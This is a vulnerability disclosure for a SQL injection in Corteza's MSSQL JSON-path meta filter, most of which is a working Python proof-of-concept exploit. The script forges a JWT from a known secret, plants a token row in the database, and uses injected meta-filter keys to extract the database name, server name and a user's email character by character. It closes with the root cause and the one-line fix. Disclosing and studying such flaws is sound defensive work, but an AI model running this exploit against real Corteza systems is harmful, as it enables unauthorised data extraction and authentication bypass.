Corteza 2024.9.8 - SQL Injection in MSSQL JSON-path meta filter via incorrect T-SQL string escaping

-- goqu output (verbatim):
SELECT ... FROM "compose_record"
WHERE (
  CASE WHEN ISJSON("compose_record"."meta") = 1
       THEN JSON_VALUE("compose_record"."meta", '$.foo\') ELSE CAST(@@version AS INT) END--')
       ELSE NULL END
  = @p4
)

CASE WHEN ISJSON(meta) = 1
     THEN JSON_VALUE(meta, '$.foo\')       -- returns NVARCHAR or NULL
     ELSE CAST(@@version AS INT)            -- fires when meta IS NULL; Msg 245 leaks version
END

GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"safeKey":"baseline"}
Authorization: Bearer <token>
Accept: application/json

GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"foo') ELSE CAST(@@version AS INT) END--":"x"}
Authorization: Bearer <token>
Accept: application/json

{
  "error": {
    "message": "mssql: Incorrect syntax near 'END'."
  }
}

#!/usr/bin/env python3
"""
Corteza MSSQL Blind Boolean SQL Injection
======================================================

Vulnerability : server/store/adapters/rdbms/drivers/mssql/json.go:30
Root cause    : wrong T-SQL escape (\' instead of '') + JSON key bypasses handle.IsValid
Technique     : blind boolean injection via CASE ELSE branch
"""

import sys
import time
import uuid
import json
import subprocess
import warnings
import requests

# ── Config ─────────────────────────────────────────────────────────────────────
BASE             = "http://localhost:8080"
MSSQL_CONTAINER  = "corteza-mssql-1"
DB               = "corteza_triage"
JWT_SECRET       = "triage-testing-secret-do-not-use-in-prod"
JWT_ALGORITHM    = "HS512"

# ── ANSI ───────────────────────────────────────────────────────────────────────
R    = "\033[31m"
G    = "\033[32m"
Y    = "\033[33m"
B    = "\033[34m"
M    = "\033[35m"
C    = "\033[36m"
W    = "\033[0m"
BOLD = "\033[1m"
DIM  = "\033[2m"

def _sqlcmd(q):
    r = subprocess.run(
        ["docker","exec", MSSQL_CONTAINER,
         "/opt/mssql-tools18/bin/sqlcmd",
         "-S","localhost","-U","sa","-P","Admin1234!","-C",
         "-d", DB, "-Q", q],
        capture_output=True, text=True
    )
    return r.stdout

def make_token():
    try:
        import jwt as pyjwt
    except ImportError:
        print("pip3 install PyJWT --break-system-packages")
        sys.exit(1)

    out = _sqlcmd(f"""
        SELECT u.id, rm.rel_role, ac.id
        FROM users u
        JOIN role_members rm
          ON rm.rel_resource = 'corteza::system:user/' + CAST(u.id AS VARCHAR)
        JOIN auth_clients ac ON ac.handle = 'webapp'
        WHERE u.email = '[email protected]'
    """).strip()

    ids = None
    for line in out.splitlines():
        parts = line.split()
        if len(parts) == 3 and parts[0].isdigit():
            ids = parts
            break

    if not ids:
        print(f"{R}Cannot find user/role/client in DB{W}")
        sys.exit(1)

    user_id, role_id, client_id = ids
    now  = int(time.time())
    atid = str(uuid.uuid4())

    payload = {
        "jti":      atid,
        "sub":      user_id,
        "roles":    [role_id],
        "clientID": client_id,
        "scope":    "profile api",
        "iss":      "",
        "iat":      now,
        "exp":      now + 86400,
    }
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        token = pyjwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)

    _sqlcmd(f"""
        DELETE FROM auth_oa2tokens
         WHERE rel_user = {user_id} AND user_agent = 'demo';
        INSERT INTO auth_oa2tokens
            (id,code,access,refresh,data,remote_addr,user_agent,rel_client,rel_user,created_at,expires_at)
        VALUES (
            CAST(RAND()*9000000000000000000+1000000000000000000 AS BIGINT),
            '{atid}', '{atid}', '', '{{}}',
            '127.0.0.1', 'demo', {client_id}, {user_id},
            GETDATE(), DATEADD(day,1,GETDATE())
        );
    """)
    return token

def api(method, path, token, **kw):
    h = {"Authorization": f"Bearer {token}", "Accept": "application/json",
         "Content-Type": "application/json"}
    return requests.request(method, f"{BASE}{path}", headers=h, timeout=15, **kw)

def setup(token):
    run_id = str(int(time.time()))[-6:]
    r = api("POST", "/compose/namespace/", token,
            json={"name": f"SQLi Demo {run_id}", "slug": f"sqli-demo-{run_id}", "enabled": True})
    ns = r.json()["response"]["namespaceID"]

    r = api("POST", f"/compose/namespace/{ns}/module/", token,
            json={"name": "Records", "handle": "demo-records",
                  "fields": [{"name": "note", "kind": "String"}], "meta": {}})
    mod = r.json()["response"]["moduleID"]

    for i in range(1, 4):
        api("POST", f"/compose/namespace/{ns}/module/{mod}/record/", token,
            json={"values": [{"name": "note", "value": f"record {i}"}]})

    return ns, mod

def query_records(token, ns, mod, key, val="x"):
    """Run meta filter and return (record_count, error_message)."""
    meta = json.dumps({key: val})
    r = api("GET", f"/compose/namespace/{ns}/module/{mod}/record/",
            token, params={"meta": meta})
    d   = r.json()
    err = d.get("error", {}).get("message", "")
    rec = len(d.get("response", {}).get("set", []))
    return rec, err

def blind(token, ns, mod, sql_condition):
    """Returns True if sql_condition evaluates to truthy in SQL Server."""
    key = (f"foo') ELSE CASE WHEN {sql_condition} "
           f"THEN 1 ELSE 0 END END > 0) AND 1=1)--")
    count, _ = query_records(token, ns, mod, key)
    return count > 0

def extract_string(token, ns, mod, sql_expr, max_len=64):
    """Extract a SQL string expression via blind boolean char-by-char."""
    result = ""
    for pos in range(1, max_len + 1):
        # Binary search on ASCII code of char at position pos
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            cond = f"ASCII(SUBSTRING(({sql_expr}),{pos},1)) > {mid}"
            if blind(token, ns, mod, cond):
                lo = mid + 1
            else:
                hi = mid
        if lo <= 32 or lo > 126:
            break
        result += chr(lo)
        # Live output
        print(f"\r  {DIM}extracting...{W}  {G}{BOLD}{result}{W}", end="", flush=True)
    print()
    return result

# ── Demo sections ──────────────────────────────────────────────────────────────

def section(title):
    print(f"\n{BOLD}{B}{'─'*60}{W}")
    print(f"{BOLD}{B} {title}{W}")
    print(f"{BOLD}{B}{'─'*60}{W}\n")

def step(n, text):
    print(f"  {BOLD}{Y}[{n}]{W} {text}")

def result(label, value, highlight=False):
    colour = R if highlight else G
    print(f"      {DIM}{label}:{W}  {colour}{BOLD}{value}{W}")

def main():
    print(f"\n{BOLD}{'═'*60}")
    print("  Corteza MSSQL — Blind Boolean SQL Injection Demo")
    print("  CVE-2026-6093 ·  json.go:30  ·  wrong T-SQL escape")
    print(f"{'═'*60}{W}")

    # ── 0. Check environment ────────────────────────────────────────────────────
    section("0. Environment check")
    try:
        r = requests.get(f"{BASE}/healthcheck", timeout=5)
        ok = all(line.startswith("PASS") for line in r.text.strip().splitlines())
    except Exception:
        ok = False

    if not ok:
        print(f"  {R}Corteza not reachable at {BASE}{W}")
        print(f"  Run:  docker compose -f docker-compose.mssql.yml up -d")
        sys.exit(1)
    print(f"  {G}Corteza is up and healthy{W}  ({BASE}/healthcheck → all PASS)")

    # ── 1. Auth ─────────────────────────────────────────────────────────────────
    section("1. Authentication")
    step("a", "Generating JWT with known AUTH_JWT_SECRET (HS512)")
    token = make_token()
    print(f"      {DIM}token:{W}  {token[:45]}…")
    step("b", "Verifying token against API")
    r = requests.get(f"{BASE}/compose/namespace/", timeout=10,
                     headers={"Authorization": f"Bearer {token}", "Accept": "application/json"})
    if r.status_code != 200:
        print(f"  {R}Token invalid: {r.status_code}{W}")
        sys.exit(1)
    print(f"      {G}Authenticated as [email protected]{W}")

    # ── 2. Setup test data ──────────────────────────────────────────────────────
    section("2. Setup — namespace, module, 3 records (meta=NULL)")
    ns, mod = setup(token)
    print(f"      namespace : {ns}")
    print(f"      module    : {mod}")
    print(f"      records   : 3 inserted (meta column is NULL on all)")

    # ── 3. Baseline ─────────────────────────────────────────────────────────────
    section("3. Baseline — normal meta filter")
    step("a", "Request: meta={\"safeKey\": \"value\"}")
    n, err = query_records(token, ns, mod, "safeKey", "value")
    result("records returned", n)
    result("sql error", err or "none")
    print(f"\n      {G}→ HTTP 200, 0 records — filter works normally{W}")

    # ── 4. Injection proof ──────────────────────────────────────────────────────
    section("4. SQL Injection — boolean control")

    step("a", "Condition TRUE:   LEN(db_name()) > 5   → should return records")
    n_true, _ = query_records(token, ns, mod,
        "foo') ELSE CASE WHEN LEN(db_name()) > 5 THEN 1 ELSE 0 END END > 0) AND 1=1)--")
    result("records returned", n_true, highlight=(n_true > 0))

    step("b", "Condition FALSE:  LEN(db_name()) > 100 → should return 0")
    n_false, _ = query_records(token, ns, mod,
        "foo') ELSE CASE WHEN LEN(db_name()) > 100 THEN 1 ELSE 0 END END > 0) AND 1=1)--")
    result("records returned", n_false, highlight=(n_false > 0))

    if n_true > 0 and n_false == 0:
        print(f"\n      {R}{BOLD}✅  SQL INJECTION CONFIRMED{W}")
        print(f"      {DIM}Attacker controls which rows SQL Server returns{W}")
    else:
        print(f"\n      {Y}⚠  Unexpected result — check environment{W}")

    # ── 5. Blind boolean extraction ─────────────────────────────────────────────
    section("5. Data extraction — blind boolean, character by character")
    print(f"  {DIM}Technique: binary search on ASCII(SUBSTRING(expr, pos, 1)){W}\n")

    targets = [
        ("DB name",      "db_name()"),
        ("Server name",  "@@SERVERNAME"),
        ("First user",   "SELECT TOP 1 email FROM users ORDER BY id"),
    ]

    extracted = {}
    for label, sql_expr in targets:
        step("→", f"Extracting: {C}{label}{W}  via  {DIM}{sql_expr}{W}")
        val = extract_string(token, ns, mod, sql_expr)
        extracted[label] = val
        result(label, val, highlight=True)
        time.sleep(0.3)

    # ── 6. Summary ───────────────────────────────────────────────────────────────
    print(f"\n{BOLD}{'═'*60}")
    print("  EXTRACTION RESULTS")
    print(f"{'═'*60}{W}")
    for label, val in extracted.items():
        print(f"  {Y}{label:<15}{W}  {R}{BOLD}{val}{W}")

    print(f"\n{BOLD}{'─'*60}")
    print("  ROOT CAUSE")
    print(f"{'─'*60}{W}")
    print(f"  File   {C}server/store/adapters/rdbms/drivers/mssql/json.go:30{W}")
    print(f"  Bug    {R}strings.ReplaceAll(path, \"'\", `\\'`){W}")
    print(f"  Fix    {G}strings.ReplaceAll(path, \"'\", \"''\"){W}")
    print(f"  Also   {Y}ParseMeta JSON path skips handle.IsValid key validation{W}